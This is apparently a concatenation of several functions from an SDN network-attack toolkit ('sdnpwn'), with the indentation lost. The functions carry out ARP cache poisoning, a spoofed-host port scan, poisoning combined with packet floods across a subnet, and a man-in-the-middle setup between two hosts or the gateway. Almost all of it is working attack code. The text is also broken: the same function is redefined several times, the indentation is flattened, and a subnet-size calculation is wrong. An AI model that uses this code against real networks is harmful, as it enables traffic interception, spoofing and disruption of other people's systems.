def run(params):
global poisoningComplete
global haltPoisoning
poisoningComplete = False
haltPoisoning = False
signal.signal(signal.SIGINT, signal_handler)
iface = sdnpwn.getArg(["--iface", "-i"], params)
vIP = sdnpwn.getArg(["--victim", "-v"], params)
vMac = sdnpwn.getArg(["--victim-mac", "-vM"], params)
targetIP = sdnpwn.getArg(["--target-ip", "-t"], params)
newMac = sdnpwn.getArg(["--mac", "-m"], params)
loop = sdnpwn.checkArg(["--loop", "-l"], params)
loopDelay = sdnpwn.getArg(["--delay", "-d"], params, 1)
if (vMac == None):
vMac = sdnpwn.getTargetMacAddress(iface, vIP)
if (vIP == None or vMac == None or targetIP == None or newMac == None):
print(info())
print(usage())
return
thisHostIP = sdnpwn.getIPAddress(iface)
thisHostMAC = sdnpwn.getMacAddress(iface)
if ((thisHostIP == '0') or (thisHostMAC == '0')):
sdnpwn.message("Invalid interface", sdnpwn.ERROR)
return
arpCachePoison(iface, vIP, vMac, targetIP, newMac, thisHostIP, thisHostMAC,
loop, loopDelay)
def run(params):
signal.signal(signal.SIGINT, signal_handler) # Assign the signal handler
iface = sdnpwn.getArg(["-i", "--iface"], params, "eth0")
verbose = sdnpwn.checkArg(["-v", "--verbose"], params)
try:
if (verbose):
sdnpwn.printVerbose("Getting MAC and IP address for interface " +
iface)
ifaceIP = sdnpwn.getIPAddress(iface)
ifaceMac = sdnpwn.getMacAddress(iface)
if (ifaceMac == "0" or ifaceIP == "0"):
sdnpwn.printError("Cannot get details for interface " + iface +
" ")
return
if (verbose):
sdnpwn.printVerbose("Making this host known in the network")
sendp(
Ether(src=ifaceMac, dst="FF:FF:FF:FF:FF:FF", type=0x0806) /
ARP(op=ARP.is_at, psrc=ifaceIP, hwsrc=ifaceMac, pdst=ifaceIP)
) # We just want the controller to know about this host
sdnpwn.printNormal("Sending ARP request for this host...")
resp = srp(Ether(src=ifaceMac, dst="FF:FF:FF:FF:FF:FF", type=0x0806) /
ARP(op=ARP.who_has, pdst=ifaceIP),
timeout=2)
try:
if (resp[0][ARP][0][1].psrc == ifaceIP):
sdnpwn.printWarning("Proxy ARP is active")
else:
sdnpwn.printError("Got another address: " +
resp[0][ARP][0][1].psrc)
except:
# This should only fail if there is no response or the response is not ARP.
sdnpwn.printSuccess("Proxy ARP is not active")
except Exception as e:
print(e)
def run(params):
global scanPrepped
scanPrepped = False
conf.verb = 0 #Set scapy verbose mode off
signal.signal(signal.SIGINT, signal_handler)
interface = None
targetIP = None
targetMAC = None
targetPort = None
phantomIP = None
phantomMAC = None
if ("--iface" in params):
interface = params[params.index("--iface") + 1]
if ("--target-ip" in params):
targetIP = params[params.index("--target-ip") + 1]
if ("--target-mac" in params):
targetMAC = params[params.index("--target-mac") + 1]
if ("--ports" in params):
targetPort = params[params.index("--ports") + 1]
if ("--phantom-ip" in params):
phantomIP = params[params.index("--phantom-ip") + 1]
if ("--phantom-mac" in params):
phantomMAC = params[params.index("--phantom-mac") + 1]
if (interface == None or targetIP == None or targetPort == None
or phantomIP == None):
print(info())
print(usage())
return
if (targetMAC == None):
sdnpwn.message("Sending ARP request for target MAC", sdnpwn.NORMAL)
targetMAC = sdnpwn.getTargetMacAddress(interface, targetIP)
sdnpwn.message("Got target MAC: " + targetMAC, sdnpwn.NORMAL)
if (phantomMAC == None):
phantomMAC = sdnpwn.generateRandomMacAddress()
sdnpwn.message("Generated Phantom host MAC: " + phantomMAC,
sdnpwn.NORMAL)
targetPorts = targetPort.split(",")
sourcePort = getUniqueNum()
tcpSeqNum = getUniqueNum()
thisHostIP = sdnpwn.getIPAddress(interface)
thisHostMAC = sdnpwn.getMacAddress(interface)
if ((thisHostIP == '0') or (thisHostMAC == '0')):
sdnpwn.message("Invalid interface", sdnpwn.ERROR)
exit(0)
prepForScan(interface, targetIP, targetMAC, thisHostIP, thisHostMAC,
phantomIP, phantomMAC)
while (dpap.isPoisoningComplete() == False):
sleep(2)
sdnpwn.message("Waiting for poisoning to complete...", sdnpwn.NORMAL)
sdnpwn.message("Starting port scan", sdnpwn.SUCCESS)
for p in targetPorts:
scan(interface, targetIP, targetMAC, thisHostIP, thisHostMAC,
phantomIP, phantomMAC, p)
sleep(2)
sdnpwn.message("Finishing up...", sdnpwn.NORMAL)
dpap.stopPoisoning()
return
def run(params):
conf.verb = 0
interface = None
target = None
targetMAC = None
phantomIP = None
phantomMAC = None
packetCount = 0
targets = {}
try:
if ("--iface" in params):
interface = params[params.index("--iface") + 1]
if ("--target" in params):
target = params[params.index("--target") + 1]
if ("--phantom-ip" in params):
phantomIP = params[params.index("--phantom-ip") + 1]
if ("--phantom-mac" in params):
phantomMAC = params[params.index("--phantom-mac") + 1]
if ("--packets" in params):
packetCount = int(params[params.index("--packets") + 1])
if (interface == None or target == None or packetCount == None
or phantomIP == None):
print(info())
print(usage())
return
if ("/" in target):
sdnpwn.message("Building list of target hosts (may take a minute)",
sdnpwn.NORMAL)
targetNetSplit = target.split("/")
targetNetHostBits = 32 - int(targetNetSplit[1])
targetNetAddress = targetNetSplit[0]
noOfNetworkHosts = (2 ^ targetNetHostBits) - 2
targetNetAddSplit = targetNetAddress.split(".")
#TODO: Change this to support networks with a mask < 24 bits
finalOctetVal = int(targetNetAddSplit[3])
netAddressTemplate = str(targetNetAddSplit[0]) + "." + str(
targetNetAddSplit[1]) + "." + str(targetNetAddSplit[2]) + "."
for i in range(finalOctetVal, noOfNetworkHosts):
try:
targets[netAddressTemplate +
str(i)] = sdnpwn.getTargetMacAddress(
interface, netAddressTemplate + str(i))
except:
pass
sdnpwn.message("Found " + str(len(targets)) + " targets in total",
sdnpwn.NORMAL)
else:
targets[target] = sdnpwn.getTargetMacAddress(interface, target)
except Exception as e:
print(e)
print(info())
print(usage())
return
if (phantomMAC == None):
phantomMAC = sdnpwn.generateRandomMacAddress()
sdnpwn.message("Generated Phantom host MAC: " + phantomMAC,
sdnpwn.NORMAL)
thisHostIP = sdnpwn.getIPAddress(interface)
thisHostMAC = sdnpwn.getMacAddress(interface)
srcPort = random.randint(35000, 60000)
dstPort = random.randint(35000, 60000)
sdnpwn.message("Starting attack", sdnpwn.NORMAL)
for t in targets:
try:
poisoningThread = Thread(target=dpap.arpCachePoison,
args=(interface, t, targets[t], phantomIP,
phantomMAC, thisHostIP, thisHostMAC,
True, 2)).start()
except Exception as e:
sdnpwn.message("Issue starting poisoning thread", sdnpwn.ERROR)
print(e)
return
while (dpap.isPoisoningComplete() == False):
sleep(1)
sdnpwn.message("Starting packet stream to " + t, sdnpwn.NORMAL)
pkt = preparePacket(t, targets[t], dstPort, phantomIP, thisHostMAC,
srcPort)
sendPacket(interface, pkt, packetCount)
sdnpwn.message("Finishing up...", sdnpwn.NORMAL)
dpap.stopPoisoning()
return
def run(params):
global runningThreads
runningThreads = []
conf.verb = 0
signal.signal(signal.SIGINT, signal_handler)
interface = None
target1IP = None
target1MAC = None
target2IP = None
target2MAC = None
if ("--iface" in params):
interface = params[params.index("--iface") + 1]
else:
print(info())
print(usage())
return
if ("--target1" in params):
target1IP = params[params.index("--target1") + 1]
if ("--target1-mac" in params):
target1MAC = params[params.index("--target1-mac") + 1]
else:
target1MAC = sdnpwn.getTargetMacAddress(interface, target1IP)
if (interface == None or target1IP == None or target1MAC == None):
print(info())
print(usage())
return
if ("--gateway" not in params):
if ("--target2" in params):
target2IP = params[params.index("--target2") + 1]
if ("--target2-mac" in params):
target2MAC = params[params.index("--target2-mac") + 1]
else:
target2MAC = sdnpwn.getTargetMacAddress(interface, target2IP)
else:
target2IP = netifaces.gateways()['default'][netifaces.AF_INET][0]
target2MAC = sdnpwn.getTargetMacAddress(
interface, target2IP) #getMacFromARPTable(target2IP)
if (target2MAC == ""):
sdnpwn.message("Could not get gateway MAC address", sdnpwn.ERROR)
return
if (target1IP == None or target1MAC == None or target2IP == None
or target2MAC == None):
print(info())
print(usage())
return
thisHostIP = sdnpwn.getIPAddress(interface)
thisHostMAC = sdnpwn.getMacAddress(interface)
if ((thisHostIP == '0') or (thisHostMAC == '0')):
sdnpwn.message("Invalid interface", sdnpwn.ERROR)
exit(0)
sdnpwn.message("Enabling IP Forwarding", sdnpwn.NORMAL)
ipForwarding(1)
p1 = Thread(target=dpap.arpCachePoison,
args=(interface, target1IP, target1MAC, target2IP, thisHostMAC,
thisHostIP, thisHostMAC, True, 1))
p2 = Thread(target=dpap.arpCachePoison,
args=(interface, target2IP, target2MAC, target1IP, thisHostMAC,
thisHostIP, thisHostMAC, True, 1))
p1.setDaemon(True)
p2.setDaemon(True)
runningThreads.append(p1)
runningThreads.append(p2)
p1.start()
p2.start()
sdnpwn.message("Press Ctrl+C to stop...", sdnpwn.NORMAL)
while (len(runningThreads) != 0):
pass